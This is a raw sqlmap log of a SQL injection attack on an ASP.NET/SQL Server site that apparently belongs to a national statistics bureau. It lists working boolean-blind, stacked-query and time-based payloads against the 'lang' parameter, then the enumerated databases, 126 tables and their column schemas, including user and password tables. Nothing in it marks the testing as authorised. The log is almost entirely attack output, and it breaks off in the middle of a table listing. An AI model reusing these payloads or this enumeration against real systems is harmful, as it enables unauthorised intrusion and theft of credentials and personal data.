sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: lang (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: lang=en' AND 3543=3543 AND 'svqV'='svqV&table_id=1481

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: lang=en';WAITFOR DELAY '0:0:5'--&table_id=1481

    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
    Payload: lang=en' WAITFOR DELAY '0:0:5'--&table_id=1481
---
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 4.0.30319, Apache
back-end DBMS: Microsoft SQL Server 2019
available databases [15]:
[*] [master]
[*] [PX-SDGS]
[*] [Stat-Catalogue]
[*] daily_fields_reports
[*] Glossary
[*] Intranet
[*] LocalIndicatorPx
[*] model
[*] msdb
[*] NSMS
[*] PCBS2011
[*] PxLocInd
[*] SDGs
[*] SDGsPx
[*] tempdb

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: lang (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: lang=en' AND 3543=3543 AND 'svqV'='svqV&table_id=1481

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: lang=en';WAITFOR DELAY '0:0:5'--&table_id=1481

    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
    Payload: lang=en' WAITFOR DELAY '0:0:5'--&table_id=1481
---
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 4.0.30319, Apache
back-end DBMS: Microsoft SQL Server 2019
available databases [15]:
[*] [master]
[*] [PX-SDGS]
[*] [Stat-Catalogue]
[*] daily_fields_reports
[*] Glossary
[*] Intranet
[*] LocalIndicatorPx
[*] model
[*] msdb
[*] NSMS
[*] PCBS2011
[*] PxLocInd
[*] SDGs
[*] SDGsPx
[*] tempdb

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: lang (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: lang=en' AND 3543=3543 AND 'svqV'='svqV&table_id=1481

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: lang=en';WAITFOR DELAY '0:0:5'--&table_id=1481

    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
    Payload: lang=en' WAITFOR DELAY '0:0:5'--&table_id=1481
---
web server operating system: Windows
web application technology: Apache, ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2019
available databases [15]:
[*] [master]
[*] [PX-SDGS]
[*] [Stat-Catalogue]
[*] daily_fields_reports
[*] Glossary
[*] Intranet
[*] LocalIndicatorPx
[*] model
[*] msdb
[*] NSMS
[*] PCBS2011
[*] PxLocInd
[*] SDGs
[*] SDGsPx
[*] tempdb

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: lang (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: lang=en' AND 3543=3543 AND 'svqV'='svqV&table_id=1481

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: lang=en';WAITFOR DELAY '0:0:5'--&table_id=1481

    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
    Payload: lang=en' WAITFOR DELAY '0:0:5'--&table_id=1481
---
web server operating system: Windows
web application technology: ASP.NET, Apache, ASP.NET 4.0.30319
back-end DBMS: Microsoft SQL Server 2019
available databases [15]:
[*] [master]
[*] [PX-SDGS]
[*] [Stat-Catalogue]
[*] daily_fields_reports
[*] Glossary
[*] Intranet
[*] LocalIndicatorPx
[*] model
[*] msdb
[*] NSMS
[*] PCBS2011
[*] PxLocInd
[*] SDGs
[*] SDGsPx
[*] tempdb

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: lang (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: lang=en' AND 3543=3543 AND 'svqV'='svqV&table_id=1481

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: lang=en';WAITFOR DELAY '0:0:5'--&table_id=1481

    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
    Payload: lang=en' WAITFOR DELAY '0:0:5'--&table_id=1481
---
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 4.0.30319, Apache
back-end DBMS: Microsoft SQL Server 2019
available databases [15]:
[*] [master]
[*] [PX-SDGS]
[*] [Stat-Catalogue]
[*] daily_fields_reports
[*] Glossary
[*] Intranet
[*] LocalIndicatorPx
[*] model
[*] msdb
[*] NSMS
[*] PCBS2011
[*] PxLocInd
[*] SDGs
[*] SDGsPx
[*] tempdb

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: lang (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: lang=en' AND 3543=3543 AND 'svqV'='svqV&table_id=1481

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: lang=en';WAITFOR DELAY '0:0:5'--&table_id=1481

    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
    Payload: lang=en' WAITFOR DELAY '0:0:5'--&table_id=1481
---
web server operating system: Windows
web application technology: ASP.NET, Apache, ASP.NET 4.0.30319
back-end DBMS: Microsoft SQL Server 2019
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: lang (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: lang=en' AND 3543=3543 AND 'svqV'='svqV&table_id=1481

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: lang=en';WAITFOR DELAY '0:0:5'--&table_id=1481

    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
    Payload: lang=en' WAITFOR DELAY '0:0:5'--&table_id=1481
---
web server operating system: Windows
web application technology: Apache, ASP.NET, ASP.NET 4.0.30319
back-end DBMS: Microsoft SQL Server 2019
available databases [15]:
[*] [master]
[*] [PX-SDGS]
[*] [Stat-Catalogue]
[*] daily_fields_reports
[*] Glossary
[*] Intranet
[*] LocalIndicatorPx
[*] model
[*] msdb
[*] NSMS
[*] PCBS2011
[*] PxLocInd
[*] SDGs
[*] SDGsPx
[*] tempdb

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: lang (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: lang=en' AND 3543=3543 AND 'svqV'='svqV&table_id=1481

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: lang=en';WAITFOR DELAY '0:0:5'--&table_id=1481

    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
    Payload: lang=en' WAITFOR DELAY '0:0:5'--&table_id=1481
---
web server operating system: Windows
web application technology: Apache, ASP.NET, ASP.NET 4.0.30319
back-end DBMS: Microsoft SQL Server 2019
available databases [15]:
[*] [master]
[*] [PX-SDGS]
[*] [Stat-Catalogue]
[*] daily_fields_reports
[*] Glossary
[*] Intranet
[*] LocalIndicatorPx
[*] model
[*] msdb
[*] NSMS
[*] PCBS2011
[*] PxLocInd
[*] SDGs
[*] SDGsPx
[*] tempdb

Database: Glossary
[6 tables]
+------------+
| GroupTerm  |
| Groups     |
| Indicator  |
| SDP        |
| Terms      |
| TrmIndLink |
+------------+

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: lang (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: lang=en' AND 3543=3543 AND 'svqV'='svqV&table_id=1481

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: lang=en';WAITFOR DELAY '0:0:5'--&table_id=1481

    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
    Payload: lang=en' WAITFOR DELAY '0:0:5'--&table_id=1481
---
web server operating system: Windows
web application technology: Apache, ASP.NET 4.0.30319, ASP.NET
back-end DBMS: Microsoft SQL Server 2019
Database: PCBS2011
[126 tables]
+------------------------------+
| ArticleView                  |
| CPI_Stat_Ref                 |
| Community_Profile_Localities |
| Community_Profile_People     |
| Dummy                        |
| Esperantus_CountryList       |
| GoalDef                      |
| Ind                          |
| Ind_Guide                    |
| Indicator_values             |
| Indicators                   |
| Indicators_Values_Temp       |
| ODWCatInd                    |
| ODWInd                       |
| PCBS_CPidata                 |
| PCBS_Profiles                |
| PCBS_Scroll_Stat             |
| PCBS_UserServices            |
| Papers                       |
| Pcbs_Geo_Levels              |
| Press_Sub_Categories         |
| Researchs                    |
| Researchs_Type               |
| Sheet1$                      |
| Surveys_Pricing              |
| Target_SDGs                  |
| Users                        |
| bids                         |
| dat                          |
| events                       |
| events_bkup_2021             |
| export                       |
| newsletterCats               |
| newsletters                  |
| papersUsers                  |
| pcbs_Scroll_                 |
| pcbs_press                   |
| press_categories             |
| pub_categories               |
| pub_sub_categories           |
| publications                 |
| rb_AlbumItem                 |
| rb_AlbumType                 |
| rb_Announcements             |
| rb_Announcements_st          |
| rb_ArticleSource             |
| rb_ArticleType               |
| rb_Articles                  |
| rb_Articles_st               |
| rb_BlackList                 |
| rb_Blogs                     |
| rb_BookList                  |
| rb_ComponentModule           |
| rb_Contacts                  |
| rb_Contacts_st               |
| rb_ContentManager            |
| rb_ControlPanel              |
| rb_Countries                 |
| rb_Cultures                  |
| rb_Discussion                |
| rb_Documents                 |
| rb_Documents_st              |
| rb_DrugStock                 |
| rb_EnhancedHtml              |
| rb_EnhancedHtml_st           |
| rb_EnhancedLinks             |
| rb_EnhancedLinks_st          |
| rb_Events                    |
| rb_Events_st                 |
| rb_FAQs                      |
| rb_Factories                 |
| rb_GeneralModuleDefinitions  |
| rb_Glossary                  |
| rb_HtmlText                  |
| rb_HtmlText_st               |
| rb_Links                     |
| rb_Links_st                  |
| rb_Localize                  |
| rb_Milestones                |
| rb_Milestones_st             |
| rb_ModuleDefinitions         |
| rb_ModuleSettings            |
| rb_ModuleUserSettings        |
| rb_Modules                   |
| rb_Monitoring                |
| rb_Pharmacies                |
| rb_Pictures                  |
| rb_Pictures_st               |
| rb_PortalSettings            |
| rb_Portals                   |
| rb_Recycler                  |
| rb_ReportItem                |
| rb_Reports                   |
| rb_Roles                     |
| rb_SolutionModuleDefinitions |
| rb_Solutions                 |
| rb_States                    |
| rb_Subscriber                |
| rb_SurveyAnswers             |
| rb_SurveyOptions             |
| rb_SurveyQuestions           |
| rb_Surveys                   |
| rb_TabSettings               |
| rb_Tabs                      |
| rb_Tasks                     |
| rb_UserDefinedData           |
| rb_UserDefinedFields         |
| rb_UserDefinedRows           |
| rb_UserDesktop               |
| rb_UserRoles                 |
| rb_Users                     |
| rb_Versions                  |
| sqlmapfilebnjhhex            |
| sqlmapfilelcrehex            |
| sqlmapfiletcsahex            |
| statisticsIndicatorsCells    |
| statisticsIndicatorsTables   |
| subsCats                     |
| subscribers                  |
| sysdiagrams                  |
| tblFacilities                |
| tblProviderTypes             |
| tblProviders                 |
| view_1                       |
| vw_Community_Profile         |
| vw_Tabs                      |
+------------------------------+

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: lang (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: lang=en' AND 3543=3543 AND 'svqV'='svqV&table_id=1481

    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries (comment)
    Payload: lang=en';WAITFOR DELAY '0:0:5'--&table_id=1481

    Type: time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind (IF - comment)
    Payload: lang=en' WAITFOR DELAY '0:0:5'--&table_id=1481
---
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, Apache, ASP.NET
back-end DBMS: Microsoft SQL Server 2019
Database: PCBS2011
Table: ArticleView
[24 columns]
+--------------------+----------+
| Column             | Type     |
+--------------------+----------+
| Description        | ntext    |
| Abstract           | ntext    |
| ArticleSourceId    | int      |
| ArticleSourceTitle | nvarchar |
| ArticleTypeId      | int      |
| ArticleTypeISPage  | bit      |
| ArticleTypePageId  | int      |
| ArticleTypeTitle   | nvarchar |
| ArticleTypeURL     | nvarchar |
| Audeo              | nvarchar |
| CreatedByUser      | nvarchar |
| CreatedDate        | datetime |
| Expired            | int      |
| ExpireDate         | datetime |
| ImageUrl           | nvarchar |
| IsInNewsletter     | bit      |
| ItemID             | int      |
| Keyword            | nvarchar |
| ModuleID           | int      |
| MoreLink           | nvarchar |
| StartDate          | datetime |
| Subtitle           | nvarchar |
| Title              | nvarchar |
| Video              | nvarchar |
+--------------------+----------+

Database: PCBS2011
Table: CPI_Stat_Ref
[8 columns]
+--------+----------+
| Column | Type     |
+--------+----------+
| Ref    | int      |
| Amount | real     |
| Edate  | nvarchar |
| Glevel | int      |
| Sdate  | nvarchar |
| Val1   | real     |
| Val2   | real     |
| Val3   | real     |
+--------+----------+

Database: PCBS2011
Table: Community_Profile_Localities
[9 columns]
+---------------------+----------+
| Column              | Type     |
+---------------------+----------+
| Community_A         | nvarchar |
| Community_E         | nvarchar |
| Electricity_Network | nvarchar |
| Gov_Code            | nvarchar |
| PCODE               | nvarchar |
| Sewage_Network      | nvarchar |
| Type_Of_Locality    | nvarchar |
| Waste_Collection    | nvarchar |
| Water_Network       | nvarchar |
+---------------------+----------+

Database: PCBS2011
Table: Community_Profile_People
[11 columns]
+--------------------+----------+
| Column             | Type     |
+--------------------+----------+
| Aveage_Family_Size | nvarchar |
| Buildings          | nvarchar |
| Community_A        | nvarchar |
| Community_E        | nvarchar |
| Establishments     | nvarchar |
| Families           | nvarchar |
| Females            | nvarchar |
| Housing_Units      | nvarchar |
| Males              | nvarchar |
| PCODE              | nvarchar |
| Total              | nvarchar |
+--------------------+----------+

Database: PCBS2011
Table: Dummy
[2 columns]
+--------+----------+
| Column | Type     |
+--------+----------+
| CodeNo | nvarchar |
| Title  | nvarchar |
+--------+----------+

Database: PCBS2011
Table: Esperantus_CountryList
[8 columns]
+---------------------------+----------+
| Column                    | Type     |
+---------------------------+----------+
| Name                      | nvarchar |
| ChildCount                | int      |
| CountryCode               | int      |
| EnglishName               | nvarchar |
| Inhabited                 | bit      |
| Parent                    | nchar    |
| threeLetterISOCountryName | nchar    |
| twoLetterISOCountryName   | nchar    |
+---------------------------+----------+

Database: PCBS2011
Table: GoalDef
[7 columns]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| Goal_Ar     | nvarchar |
| Goal_En     | nvarchar |
| Goal_Id     | int      |
| GoalImage   | nvarchar |
| GoalImageAr | nvarchar |
| GoalInfo    | nvarchar |
| GoalInfoAr  | nvarchar |
+-------------+----------+

Database: PCBS2011
Table: Ind
[31 columns]
+-------------------+----------+
| Column            | Type     |
+-------------------+----------+
| Indicator         | nvarchar |
| AvailabeYear      | nvarchar |
| Codes             | nvarchar |
| CustodianAgency   | nvarchar |
| CustodianAgencyAr | nvarchar |
| Data2015          | nvarchar |
| DataAvailable     | nvarchar |
| DataAvailable_AR  | nvarchar |
| DataSource        | nvarchar |
| DataSource_AR     | nvarchar |
| DissLvl           | nvarchar |
| DissLvl_AR        | nvarchar |
| ExcelFile         | nvarchar |
| ExcelFile_AR      | nvarchar |
| Indicator_ID      | nvarchar |
| IndicatorAr       | nvarchar |
| Maps              | ntext    |
| MapsA             | ntext    |
| MostRecentData    | nvarchar |
| MostRecentYear    | nchar    |
| nextAvYear        | nchar    |
| PDFFile           | nvarchar |
| PDFFile_AR        | nvarchar |
| Pxweb             | ntext    |
| PxwebAr           | ntext    |
| RelatedTo         | nvarchar |
| Target_id         | nvarchar |
| UnitOfMeasure     | nvarchar |
| UnitOfMeasureAr   | nvarchar |
| UpdatedTier       | nvarchar |
| WhenAv            | nvarchar |
+-------------------+----------+

Database: PCBS2011
Table: Ind_Guide
[7 columns]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| Definition  | nvarchar |
| Indicator   | nvarchar |
| Method      | nvarchar |
| DataSource  | nvarchar |
| Id          | int      |
| Measurement | nvarchar |
| Program     | nvarchar |
+-------------+----------+

Database: PCBS2011
Table: Indicator_values
[6 columns]
+---------------+----------+
| Column        | Type     |
+---------------+----------+
| Source        | nvarchar |
| Value         | real     |
| Year          | nvarchar |
| Geog_Location | nvarchar |
| Id            | int      |
| Ind_Id        | int      |
+---------------+----------+

Database: PCBS2011
Table: Indicators
[5 columns]
+----------------------------+----------+
| Column                     | Type     |
+----------------------------+----------+
| Ind_Id\r\nInd_Id\r\nInd_Id |
| Subject                    | nvarchar |
| Ind_Def                    | nvarchar |
| Ind_Methodology            | nvarchar |
| Ind_Name                   | nvarchar |
+----------------------------+----------+

Database: PCBS2011
Table: Indicators_Values_Temp
[7 columns]
+---------------+----------+
| Column        | Type     |
+---------------+----------+
| subject       | nvarchar |
| Value         | real     |
| Year          | nvarchar |
| Geog_Location | nvarchar |
| Id            | int      |
| Ind           | nvarchar |
| Sourse        | nvarchar |
+---------------+----------+

Database: PCBS2011
Table: ODWCatInd
[4 columns]
+----------------+----------+
| Column         | Type     |
+----------------+----------+
| Cat_Desc       | nvarchar |
| Cat_ID         | int      |
| Indicator_Desc | nvarchar |
| Indicator_ID   | nchar    |
+----------------+----------+

Database: PCBS2011
Table: ODWInd
[11 columns]
+----------------+----------+
| Column         | Type     |
+----------------+----------+
| Cat_ID         | int      |
| Disaggregation | nvarchar |
| excel          | nvarchar |
| html           | nvarchar |
| Indicator_Desc | nvarchar |
| Indicator_ID   | float    |
| Notes          | nvarchar |
| PCBS_Source    | nvarchar |
| pdf            | nvarchar |
| word           | nvarchar |
| Years          | nvarchar |
+----------------+----------+

Database: PCBS2011
Table: PCBS_CPidata
[6 columns]
+-----------+---------------+
| Column    | Type          |
+-----------+---------------+
| month     | int           |
| serial    | int           |
| year      | int           |
| cpivalue  | money         |
| Entrydate | smalldatetime |
| Geo_Level | int           |
+-----------+---------------+

Database: PCBS2011
Table: PCBS_Profiles
[14 columns]
+------------+----------+
| Column     | Type     |
+------------+----------+
| URL        | nvarchar |
| Biography  | ntext    |
| Email      | nvarchar |
| FamilyName | nvarchar |
| FirstNAme  | nvarchar |
| ItemId     | int      |
| Ministry   | nvarchar |
| ModuleId   | int      |
| PhotoUrl   | nvarchar |
| Prefix     | nvarchar |
| priority   | float    |
| Suffix     | nvarchar |
| Title      | nvarchar |
| UserName   | nvarchar |
+------------+----------+

Database: PCBS2011
Table: PCBS_Scroll_Stat
[4 columns]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| FileNameUrl | nvarchar |
| ID          | int      |
| Lang        | nvarchar |
| Title       | nvarchar |
+-------------+----------+

Database: PCBS2011
Table: PCBS_UserServices
[15 columns]
+-----------+----------+
| Column    | Type     |
+-----------+----------+
| Status    | nvarchar |
| Url       | nvarchar |
| Comments  | nvarchar |
| CompName  | nvarchar |
| CompType  | nvarchar |
| DataOwner | nvarchar |
| DataUsage | nvarchar |
| Details   | nvarchar |
| Email     | nvarchar |
| Fax       | nvarchar |
| FormDate  | nvarchar |
| FullNAme  | nvarchar |
| ID        | decimal  |
| PoBox     | nvarchar |
| Tel       | nvarchar |
+-----------+----------+

Database: PCBS2011
Table: Papers
[8 columns]
+-------------------+----------+
| Column            | Type     |
+-------------------+----------+
| p_activityCountry | nvarchar |
| p_activityName    | nvarchar |
| p_empName         | nvarchar |
| p_endDate         | date     |
| p_file            | nvarchar |
| p_id              | int      |
| p_startDate       | date     |
| p_title           | nvarchar |
+-------------------+----------+

Database: PCBS2011
Table: Pcbs_Geo_Levels
[3 columns]
+-------------------+----------+
| Column            | Type     |
+-------------------+----------+
| Geo_Level         | nvarchar |
| Geo_Level_English | nvarchar |
| Id                | int      |
+-------------------+----------+

Database: PCBS2011
Table: Press_Sub_Categories
[5 columns]
+------------------+----------+
| Column           | Type     |
+------------------+----------+
| cat_CatalogCatID | int      |
| cat_id           | int      |
| sub_cat_ar       | nvarchar |
| sub_cat_en       | nvarchar |
| sub_cat_id       | int      |
+------------------+----------+

Database: PCBS2011
Table: Researchs
[11 columns]
+----------------------+----------+
| Column               | Type     |
+----------------------+----------+
| a_name               | nvarchar |
| CreatedByUser        | nvarchar |
| CreatedDate          | datetime |
| FileNameUrl          | nvarchar |
| ItemID               | int      |
| ModuleID             | int      |
| R_lang               | nvarchar |
| Researchs_Desc       | nvarchar |
| Researchs_Issue_Date | datetime |
| Researchs_Type       | int      |
| Title                | nvarchar |
+----------------------+----------+

Database: PCBS2011
Table: Researchs_Type
[2 columns]
+----------------+----------+
| Column         | Type     |
+----------------+----------+
| Researchs_ID   | int      |
| Researchs_Type | nvarchar |
+----------------+----------+

Database: PCBS2011
Table: Sheet1$
[19 columns]
+--------------------------------------------------------------+----------+
| Column                                                       | Type     |
+--------------------------------------------------------------+----------+
| /Downloads/ZIP/1-w#zip                                       | nvarchar |
| /Downloads/ZIP/1-x#zip                                       | nvarchar |
| http://www#pcbs#gov#ps/Portals/_PCBS/Downloads/book1#pdf     | nvarchar |
| NULL                                                         | float    |
| Small Area population  in west bank and gaza strip   1994    | nvarchar |
| ‏سكان التجمعات الفلسطينية في الضفة الغربية وقطاع غزة - 1994  | nvarchar |
| F1                                                           | float    |
| F12                                                          | float    |
| F13                                                          | float    |
| F16                                                          | float    |
| F17                                                          | float    |
| F18                                                          | float    |
| F7                                                           | datetime |
| F9                                                           | float    |
| NULL1                                                        | nvarchar |
| NULL2                                                        | nvarchar |
| NULL3                                                        | nvarchar |
| NULL4                                                        | nvarchar |
| NULL5                                                        | nvarchar |
+--------------------------------------------------------------+----------+

Database: PCBS2011
Table: Surveys_Pricing
[13 columns]
+------------------+----------+
| Column           | Type     |
+------------------+----------+
| Ref              | nvarchar |
| Bruchure         | nvarchar |
| CodeBook         | nvarchar |
| CreatedByUser    | nvarchar |
| CreatedDate      | datetime |
| DateofIssue      | nvarchar |
| FileFriendlyName | nvarchar |
| ItemID           | int      |
| ModuleID         | int      |
| No_of_CDs        | int      |
| price            | nvarchar |
| Questionnaire    | nvarchar |
| Survey_Desc      | nvarchar |
+------------------+----------+

Database: PCBS2011
Table: Target_SDGs
[4 columns]
+-----------+----------+
| Column    | Type     |
+-----------+----------+
| Goal_Code | int      |
| Target    | nvarchar |
| Target_id | nchar    |
| TargetAr  | nvarchar |
+-----------+----------+

Database: PCBS2011
Table: Users
[2 columns]
+--------------+----------+
| Column       | Type     |
+--------------+----------+
| UserId       | nvarchar |
| UserPassword | nvarchar |
+--------------+----------+

Database: PCBS2011
Table: bids
[11 columns]
+----------------+----------+
| Column         | Type     |
+----------------+----------+
| bid_assignDate | datetime |
| bid_assigned   | int      |
| bid_CreatDate  | datetime |
| bid_EndDate    | datetime |
| bid_id         | int      |
| bid_link       | nvarchar |
| bid_notes      | nvarchar |
| bid_StartDate  | datetime |
| bid_target     | nvarchar |
| bid_title      | nvarchar |
| bid_UpdateDate | datetime |
+----------------+----------+

Database: PCBS2011
Table: dat
[1 column]
+--------+----------+
| Column | Type     |
+--------+----------+
| Dat    | nvarchar |
+--------+----------+

Database: PCBS2011
Table: events
[7 columns]
+-----------+----------+
| Column    | Type     |
+-----------+----------+
| desc      | nvarchar |
| url       | nvarchar |
| ItemID    | int      |
| lang      | nvarchar |
| remarks   | nvarchar |
| StartDate | datetime |
| Title     | nvarchar |
+-----------+----------+

Database: PCBS2011
Table: events_bkup_2021
[7 columns]
+-----------+----------+
| Column    | Type     |
+-----------+----------+
| desc      | nvarchar |
| url       | nvarchar |
| ItemID    | int      |
| lang      | nvarchar |
| remarks   | nvarchar |
| StartDate | datetime |
| Title     | nvarchar |
+-----------+----------+

Database: PCBS2011
Table: export
[3 columns]
+--------+----------+
| Column | Type     |
+--------+----------+
| Code   | nvarchar |
| W      | nvarchar |
| X      | nvarchar |
+--------+----------+

Database: PCBS2011
Table: newsletterCats
[3 columns]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| ncat_id     | int      |
| ncat_name   | nvarchar |
| ncat_nameAr | nvarchar |
+-------------+----------+

Database: PCBS2011
Table: newsletters
[6 columns]
+----------+----------+
| Column   | Type     |
+----------+----------+
| nr_body  | text     |
| nr_cats  | nvarchar |
| nr_date  | datetime |
| nr_file  | nvarchar |
| nr_id    | int      |
| nr_title | nvarchar |
+----------+----------+

Database: PCBS2011
Table: papersUsers
[3 columns]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| role        | nvarchar |
| pu_password | nvarchar |
| pu_username | nchar    |
+-------------+----------+

Database: PCBS2011
Table: pcbs_Scroll_
[9 columns]
+---------------+----------+
| Column        | Type     |
+---------------+----------+
| Description   | ntext    |
| CreatedByUser | nvarchar |
| CreatedDate   | datetime |
| ExpireDate    | datetime |
| ItemID        | int      |
| ModuleID      | int      |
| MoreLink      | nvarchar |
| StartDate     | datetime |
| Title         | nvarchar |
+---------------+----------+

Database: PCBS2011
Table: pcbs_press
[21 columns]
+------------------------+----------+
| Column                 | Type     |
+------------------------+----------+
| User                   | nvarchar |
| cat_id                 | int      |
| desc_ar                | nvarchar |
| desc_en                | nvarchar |
| html                   | nvarchar |
| htmlar                 | nvarchar |
| Id                     | int      |
| press_CatalogCatId     | int      |
| press_CatalogYear      | int      |
| press_featured         | float    |
| press_issued_date      | datetime |
| press_remarks_arabic   | nvarchar |
| press_remarks_english  | nvarchar |
| press_tilte_arabic     | nvarchar |
| press_tilte_english    | nvarchar |
| press_url_pdf_arabic   | nvarchar |
| press_url_pdf_english  | nvarchar |
| press_url_word_arabic  | nvarchar |
| press_url_word_english | nvarchar |
| press_years            | nvarchar |
| sub_cat_id             | int      |
+------------------------+----------+

Database: PCBS2011
Table: press_categories
[4 columns]
+------------------+----------+
| Column           | Type     |
+------------------+----------+
| cat_ar           | nvarchar |
| cat_CatalogCatID | int      |
| cat_en           | nvarchar |
| cat_id           | int      |
+------------------+----------+

Database: PCBS2011
Table: pub_categories
[4 columns]
+------------------+----------+
| Column           | Type     |
+------------------+----------+
| cat_ar           | nvarchar |
| cat_CatalogCatID | int      |
| cat_en           | nvarchar |
| cat_id           | int      |
+------------------+----------+

Database: PCBS2011
Table: pub_sub_categories
[5 columns]
+------------------+----------+
| Column           | Type     |
+------------------+----------+
| cat_CatalogCatID | int      |
| cat_id           | int      |
| sub_cat_ar       | nvarchar |
| sub_cat_en       | nvarchar |
| sub_cat_id       | int      |
+------------------+----------+

Database: PCBS2011
Table: publications
[25 columns]
+---------------------+----------+
| Column              | Type     |
+---------------------+----------+
| Month               | int      |
| user                | nvarchar |
| visible             | tinyint  |
| Year                | int      |
| cat_id              | int      |
| desc_ar             | text     |
| desc_en             | text     |
| hideInCatalog       | int      |
| Pub_CatalogCatId    | int      |
| Pub_CatalogCatIdAna | int      |
| Pub_CatalogYear     | int      |
| Pub_CatalogYearAna  | int      |
| pub_code_no         | nvarchar |
| pub_id              | int      |
| pub_issued_date     | datetime |
| pub_price           | nvarchar |
| pub_remarks         | text     |
| pub_remarks_Arabic  | ntext    |
| pub_title_Arabic    | nvarchar |
| pub_title_english   | nvarchar |
| pub_url_excel       | nvarchar |
| pub_url_pdf         | nvarchar |
| pub_url_word        | nvarchar |
| pub_years           | nvarchar |
| sub_cat_id          | int      |
+---------------------+----------+

Database: PCBS2011
Table: rb_AlbumItem
[8 columns]
+------------------+----------+
